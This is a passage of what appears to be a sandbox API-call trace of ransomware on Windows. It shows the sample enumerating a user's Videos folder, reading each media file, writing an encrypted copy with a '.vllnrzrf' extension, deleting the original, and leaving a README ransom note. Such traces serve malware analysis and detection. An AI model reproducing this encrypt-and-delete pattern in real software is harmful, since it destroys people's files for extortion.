lpFindFileData=0x1c0eea50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b58b0a0, ftCreationTime.dwHighDateTime=0x1d5d829, ftLastAccessTime.dwLowDateTime=0xd90aff00, ftLastAccessTime.dwHighDateTime=0x1d5d9a7, ftLastWriteTime.dwLowDateTime=0xd90aff00, ftLastWriteTime.dwHighDateTime=0x1d5d9a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2W8-Bza", cAlternateFileName="")) returned 1 [0119.393] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0eea50 | out: lpFindFileData=0x1c0eea50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa555a710, ftCreationTime.dwHighDateTime=0x1d5e0a4, ftLastAccessTime.dwLowDateTime=0xe50a2b00, ftLastAccessTime.dwHighDateTime=0x1d5d880, ftLastWriteTime.dwLowDateTime=0xe50a2b00, ftLastWriteTime.dwHighDateTime=0x1d5d880, nFileSizeHigh=0x0, nFileSizeLow=0x10f24, dwReserved0=0x0, dwReserved1=0x0, cFileName="9GsxesbI4TXBwR__oCI.mp4", cAlternateFileName="9GSXES~1.MP4")) returned 1 [0119.393] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0eea50 | out: lpFindFileData=0x1c0eea50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0119.393] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0eea50 | out: lpFindFileData=0x1c0eea50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c6d9200, ftCreationTime.dwHighDateTime=0x1d5e62b, ftLastAccessTime.dwLowDateTime=0x174cf6e0, ftLastAccessTime.dwHighDateTime=0x1d5daea, ftLastWriteTime.dwLowDateTime=0x174cf6e0, ftLastWriteTime.dwHighDateTime=0x1d5daea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dl8VaK1 rn9WLatTlI", cAlternateFileName="DL8VAK~1")) returned 1 [0119.393] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0eea50 | out: lpFindFileData=0x1c0eea50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd77d11e0, ftCreationTime.dwHighDateTime=0x1d5daed, ftLastAccessTime.dwLowDateTime=0x53c374a0, ftLastAccessTime.dwHighDateTime=0x1d5de3c, ftLastWriteTime.dwLowDateTime=0x53c374a0, ftLastWriteTime.dwHighDateTime=0x1d5de3c, nFileSizeHigh=0x0, nFileSizeLow=0xfac9, dwReserved0=0x0, dwReserved1=0x0, cFileName="E8cREdci.mp4", cAlternateFileName="")) returned 1 [0119.394] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0eea50 | out: lpFindFileData=0x1c0eea50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4fc0ec50, ftCreationTime.dwHighDateTime=0x1d5e749, ftLastAccessTime.dwLowDateTime=0x1b9fde90, ftLastAccessTime.dwHighDateTime=0x1d5d92f, ftLastWriteTime.dwLowDateTime=0x1b9fde90, ftLastWriteTime.dwHighDateTime=0x1d5d92f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gxe419OS4bcxMdlnN6", cAlternateFileName="GXE419~1")) returned 1 [0119.394] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0eea50 | out: lpFindFileData=0x1c0eea50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe591de50, ftCreationTime.dwHighDateTime=0x1d5e736, ftLastAccessTime.dwLowDateTime=0x1f6f28d0, ftLastAccessTime.dwHighDateTime=0x1d5dcce, ftLastWriteTime.dwLowDateTime=0x1f6f28d0, ftLastWriteTime.dwHighDateTime=0x1d5dcce, nFileSizeHigh=0x0, nFileSizeLow=0x186b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="RVRNzJgJK8HglFHIG.swf", cAlternateFileName="RVRNZJ~1.SWF")) returned 1 [0119.394] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0eea50 | out: lpFindFileData=0x1c0eea50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf7c93b0, ftCreationTime.dwHighDateTime=0x1d5dc75, ftLastAccessTime.dwLowDateTime=0x997bb140, ftLastAccessTime.dwHighDateTime=0x1d5e7a8, ftLastWriteTime.dwLowDateTime=0x997bb140, ftLastWriteTime.dwHighDateTime=0x1d5e7a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rX_Z", cAlternateFileName="")) returned 1 [0119.394] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0eea50 | out: lpFindFileData=0x1c0eea50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6590b00, ftCreationTime.dwHighDateTime=0x1d5e048, ftLastAccessTime.dwLowDateTime=0x97e81190, ftLastAccessTime.dwHighDateTime=0x1d5d905, ftLastWriteTime.dwLowDateTime=0x97e81190, ftLastWriteTime.dwHighDateTime=0x1d5d905, nFileSizeHigh=0x0, nFileSizeLow=0x3558, dwReserved0=0x0, dwReserved1=0x0, cFileName="sDc2gUgcXDgpN.swf", cAlternateFileName="SDC2GU~1.SWF")) returned 1 [0119.394] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0eea50 | out: lpFindFileData=0x1c0eea50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab4acb90, ftCreationTime.dwHighDateTime=0x1d60166, ftLastAccessTime.dwLowDateTime=0xab4acb90, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xab4acb90, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x5f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="VLLNRZRF-README.txt", cAlternateFileName="VLLNRZ~1.TXT")) returned 1 [0119.395] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0eea50 | out: lpFindFileData=0x1c0eea50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0119.395] FindClose (in: hFindFile=0x1a5787e0 | out: hFindFile=0x1a5787e0) returned 1 [0119.395] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0eecb0) returned 1 [0119.395] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0eec70) returned 1 [0119.396] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\9GsxesbI4TXBwR__oCI.mp4", nBufferLength=0x105, lpBuffer=0x1c0ee770, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\9GsxesbI4TXBwR__oCI.mp4", lpFilePart=0x0) returned 0x3c [0119.396] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\9GsxesbI4TXBwR__oCI.mp4", nBufferLength=0x105, lpBuffer=0x1c0ee770, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\9GsxesbI4TXBwR__oCI.mp4", lpFilePart=0x0) returned 0x3c [0119.396] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\9GsxesbI4TXBwR__oCI.mp4", nBufferLength=0x105, lpBuffer=0x1c0ee770, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\9GsxesbI4TXBwR__oCI.mp4", lpFilePart=0x0) returned 0x3c [0119.396] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0eec50) returned 1 [0119.396] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\9GsxesbI4TXBwR__oCI.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\9gsxesbi4txbwr__oci.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x46c [0119.396] GetFileType (hFile=0x46c) returned 0x1 [0119.396] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0eebc0) returned 1 [0119.396] GetFileType (hFile=0x46c) returned 0x1 [0119.397] GetFileSize (in: hFile=0x46c, lpFileSizeHigh=0x1c0eede8 | out: lpFileSizeHigh=0x1c0eede8*=0x0) returned 0x10f24 [0119.397] ReadFile (in: hFile=0x46c, lpBuffer=0x225d2a0, nNumberOfBytesToRead=0x10f24, lpNumberOfBytesRead=0x1c0eed18, lpOverlapped=0x0 | out: lpBuffer=0x225d2a0*, lpNumberOfBytesRead=0x1c0eed18*=0x10f24, lpOverlapped=0x0) returned 1 [0119.398] CloseHandle (hObject=0x46c) returned 1 [0119.412] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\9GsxesbI4TXBwR__oCI.mp4.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c0ee770, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\9GsxesbI4TXBwR__oCI.mp4.vllnrzrf", lpFilePart=0x0) returned 0x45 [0119.412] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0eec50) returned 1 [0119.412] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\9GsxesbI4TXBwR__oCI.mp4.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\9gsxesbi4txbwr__oci.mp4.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x46c [0119.413] GetFileType (hFile=0x46c) returned 0x1 [0119.413] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0eebc0) returned 1 [0119.413] GetFileType (hFile=0x46c) returned 0x1 [0119.413] WriteFile (in: hFile=0x46c, lpBuffer=0x22bb858*, nNumberOfBytesToWrite=0x11124, lpNumberOfBytesWritten=0x1c0eed78, lpOverlapped=0x0 | out: lpBuffer=0x22bb858*, lpNumberOfBytesWritten=0x1c0eed78*=0x11124, lpOverlapped=0x0) returned 1 [0119.415] CloseHandle (hObject=0x46c) returned 1 [0119.420] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\9GsxesbI4TXBwR__oCI.mp4", nBufferLength=0x105, lpBuffer=0x1c0ee770, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\9GsxesbI4TXBwR__oCI.mp4", lpFilePart=0x0) returned 0x3c [0119.421] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\9GsxesbI4TXBwR__oCI.mp4", nBufferLength=0x105, lpBuffer=0x1c0ee910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\9GsxesbI4TXBwR__oCI.mp4", lpFilePart=0x0) returned 0x3c [0119.421] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\9GsxesbI4TXBwR__oCI.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\9gsxesbi4txbwr__oci.mp4")) returned 1 [0119.424] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\E8cREdci.mp4", nBufferLength=0x105, lpBuffer=0x1c0ee770, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\E8cREdci.mp4", lpFilePart=0x0) returned 0x31 [0119.424] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\E8cREdci.mp4", nBufferLength=0x105, lpBuffer=0x1c0ee770, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\E8cREdci.mp4", lpFilePart=0x0) returned 0x31 [0119.424] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\E8cREdci.mp4", nBufferLength=0x105, lpBuffer=0x1c0ee770, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\E8cREdci.mp4", lpFilePart=0x0) returned 0x31 [0119.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0eec50) returned 1 [0119.425] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\E8cREdci.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\e8credci.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x46c [0119.425] GetFileType (hFile=0x46c) returned 0x1 [0119.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0eebc0) returned 1 [0119.425] GetFileType (hFile=0x46c) returned 0x1 [0119.425] GetFileSize (in: hFile=0x46c, lpFileSizeHigh=0x1c0eede8 | out: lpFileSizeHigh=0x1c0eede8*=0x0) returned 0xfac9 [0119.425] ReadFile (in: hFile=0x46c, lpBuffer=0x22cd550, nNumberOfBytesToRead=0xfac9, lpNumberOfBytesRead=0x1c0eed18, lpOverlapped=0x0 | out: lpBuffer=0x22cd550*, lpNumberOfBytesRead=0x1c0eed18*=0xfac9, lpOverlapped=0x0) returned 1 [0119.427] CloseHandle (hObject=0x46c) returned 1 [0119.441] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\E8cREdci.mp4.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c0ee770, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\E8cREdci.mp4.vllnrzrf", lpFilePart=0x0) returned 0x3a [0119.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0eec50) returned 1 [0119.441] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\E8cREdci.mp4.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\e8credci.mp4.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x46c [0119.442] GetFileType (hFile=0x46c) returned 0x1 [0119.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0eebc0) returned 1 [0119.442] GetFileType (hFile=0x46c) returned 0x1 [0119.442] WriteFile (in: hFile=0x46c, lpBuffer=0x2324cc8*, nNumberOfBytesToWrite=0xfcc9, lpNumberOfBytesWritten=0x1c0eed78, lpOverlapped=0x0 | out: lpBuffer=0x2324cc8*, lpNumberOfBytesWritten=0x1c0eed78*=0xfcc9, lpOverlapped=0x0) returned 1 [0119.444] CloseHandle (hObject=0x46c) returned 1 [0119.448] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\E8cREdci.mp4", nBufferLength=0x105, lpBuffer=0x1c0ee770, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\E8cREdci.mp4", lpFilePart=0x0) returned 0x31 [0119.448] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\E8cREdci.mp4", nBufferLength=0x105, lpBuffer=0x1c0ee910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\E8cREdci.mp4", lpFilePart=0x0) returned 0x31 [0119.448] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\E8cREdci.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\e8credci.mp4")) returned 1 [0119.451] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\RVRNzJgJK8HglFHIG.swf", nBufferLength=0x105, lpBuffer=0x1c0ee770, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\RVRNzJgJK8HglFHIG.swf", lpFilePart=0x0) returned 0x3a [0119.451] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\RVRNzJgJK8HglFHIG.swf", nBufferLength=0x105, lpBuffer=0x1c0ee770, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\RVRNzJgJK8HglFHIG.swf", lpFilePart=0x0) returned 0x3a [0119.451] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\RVRNzJgJK8HglFHIG.swf", nBufferLength=0x105, lpBuffer=0x1c0ee770, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\RVRNzJgJK8HglFHIG.swf", lpFilePart=0x0) returned 0x3a [0119.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0eec50) returned 1 [0119.451] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\RVRNzJgJK8HglFHIG.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rvrnzjgjk8hglfhig.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x46c [0119.451] GetFileType (hFile=0x46c) returned 0x1 [0119.452] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0eebc0) returned 1 [0119.452] GetFileType (hFile=0x46c) returned 0x1 [0119.452] GetFileSize (in: hFile=0x46c, lpFileSizeHigh=0x1c0eede8 | out: lpFileSizeHigh=0x1c0eede8*=0x0) returned 0x186b1 [0119.452] ReadFile (in: hFile=0x46c, lpBuffer=0x122addc0, nNumberOfBytesToRead=0x186b1, lpNumberOfBytesRead=0x1c0eed18, lpOverlapped=0x0 | out: lpBuffer=0x122addc0*, lpNumberOfBytesRead=0x1c0eed18*=0x186b1, lpOverlapped=0x0) returned 1 [0119.455] CloseHandle (hObject=0x46c) returned 1 [0119.477] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\RVRNzJgJK8HglFHIG.swf.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c0ee770, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\RVRNzJgJK8HglFHIG.swf.vllnrzrf", lpFilePart=0x0) returned 0x43 [0119.477] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0eec50) returned 1 [0119.477] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\RVRNzJgJK8HglFHIG.swf.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rvrnzjgjk8hglfhig.swf.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x46c [0119.478] GetFileType (hFile=0x46c) returned 0x1 [0119.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0eebc0) returned 1 [0119.478] GetFileType (hFile=0x46c) returned 0x1 [0119.478] WriteFile (in: hFile=0x46c, lpBuffer=0x12340648*, nNumberOfBytesToWrite=0x188b1, lpNumberOfBytesWritten=0x1c0eed78, lpOverlapped=0x0 | out: lpBuffer=0x12340648*, lpNumberOfBytesWritten=0x1c0eed78*=0x188b1, lpOverlapped=0x0) returned 1 [0119.481] CloseHandle (hObject=0x46c) returned 1 [0119.504] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\RVRNzJgJK8HglFHIG.swf", nBufferLength=0x105, lpBuffer=0x1c0ee770, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\RVRNzJgJK8HglFHIG.swf", lpFilePart=0x0) returned 0x3a [0119.505] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\RVRNzJgJK8HglFHIG.swf", nBufferLength=0x105, lpBuffer=0x1c0ee910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\RVRNzJgJK8HglFHIG.swf", lpFilePart=0x0) returned 0x3a [0119.505] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\RVRNzJgJK8HglFHIG.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rvrnzjgjk8hglfhig.swf")) returned 1 [0119.508] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\sDc2gUgcXDgpN.swf", nBufferLength=0x105, lpBuffer=0x1c0ee770, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\sDc2gUgcXDgpN.swf", lpFilePart=0x0) returned 0x36 [0119.508] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\sDc2gUgcXDgpN.swf", nBufferLength=0x105, lpBuffer=0x1c0ee770, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\sDc2gUgcXDgpN.swf", lpFilePart=0x0) returned 0x36 [0119.508] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\sDc2gUgcXDgpN.swf", nBufferLength=0x105, lpBuffer=0x1c0ee770, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\sDc2gUgcXDgpN.swf", lpFilePart=0x0) returned 0x36 [0119.508] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0eec50) returned 1 [0119.508] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\sDc2gUgcXDgpN.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\sdc2gugcxdgpn.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x46c [0119.509] GetFileType (hFile=0x46c) returned 0x1 [0119.509] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0eebc0) returned 1 [0119.509] GetFileType (hFile=0x46c) returned 0x1 [0119.509] GetFileSize (in: hFile=0x46c, lpFileSizeHigh=0x1c0eede8 | out: lpFileSizeHigh=0x1c0eede8*=0x0) returned 0x3558 [0119.509] ReadFile (in: hFile=0x46c, lpBuffer=0x235ad00, nNumberOfBytesToRead=0x3558, lpNumberOfBytesRead=0x1c0eed18, lpOverlapped=0x0 | out: lpBuffer=0x235ad00*, lpNumberOfBytesRead=0x1c0eed18*=0x3558, lpOverlapped=0x0) returned 1 [0119.510] CloseHandle (hObject=0x46c) returned 1 [0119.520] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\sDc2gUgcXDgpN.swf.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c0ee770, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\sDc2gUgcXDgpN.swf.vllnrzrf", lpFilePart=0x0) returned 0x3f [0119.520] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0eec50) returned 1 [0119.521] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\sDc2gUgcXDgpN.swf.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\sdc2gugcxdgpn.swf.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x46c [0119.521] GetFileType (hFile=0x46c) returned 0x1 [0119.521] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0eebc0) returned 1 [0119.521] GetFileType (hFile=0x46c) returned 0x1 [0119.522] WriteFile (in: hFile=0x46c, lpBuffer=0x2376998*, nNumberOfBytesToWrite=0x3758, lpNumberOfBytesWritten=0x1c0eed78, lpOverlapped=0x0 | out: lpBuffer=0x2376998*, lpNumberOfBytesWritten=0x1c0eed78*=0x3758, lpOverlapped=0x0) returned 1 [0119.523] CloseHandle (hObject=0x46c) returned 1 [0119.528] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\sDc2gUgcXDgpN.swf", nBufferLength=0x105, lpBuffer=0x1c0ee770, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\sDc2gUgcXDgpN.swf", lpFilePart=0x0) returned 0x36 [0119.529] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\sDc2gUgcXDgpN.swf", nBufferLength=0x105, lpBuffer=0x1c0ee910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\sDc2gUgcXDgpN.swf", lpFilePart=0x0) returned 0x36 [0119.529] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\sDc2gUgcXDgpN.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\sdc2gugcxdgpn.swf")) returned 1 [0119.531] CoUninitialize () Thread: id = 108 os_tid = 0x640 [0119.541] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0119.541] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", nBufferLength=0x105, lpBuffer=0x1c0ce8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", lpFilePart=0x0) returned 0x2c [0119.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ced40) returned 1 [0119.541] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", nBufferLength=0x105, lpBuffer=0x1c0ce830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", lpFilePart=0x0) returned 0x2c [0119.541] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza\\", nBufferLength=0x105, lpBuffer=0x1c0ce7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza\\", lpFilePart=0x0) returned 0x2d [0119.541] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza\\*.*", lpFindFileData=0x1c0ce9e0 | out: lpFindFileData=0x1c0ce9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b58b0a0, ftCreationTime.dwHighDateTime=0x1d5d829, ftLastAccessTime.dwLowDateTime=0xd90aff00, ftLastAccessTime.dwHighDateTime=0x1d5d9a7, ftLastWriteTime.dwLowDateTime=0xd90aff00, ftLastWriteTime.dwHighDateTime=0x1d5d9a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a5787e0 [0119.542] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0cea30 | out: lpFindFileData=0x1c0cea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b58b0a0, ftCreationTime.dwHighDateTime=0x1d5d829, ftLastAccessTime.dwLowDateTime=0xd90aff00, ftLastAccessTime.dwHighDateTime=0x1d5d9a7, ftLastWriteTime.dwLowDateTime=0xd90aff00, ftLastWriteTime.dwHighDateTime=0x1d5d9a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 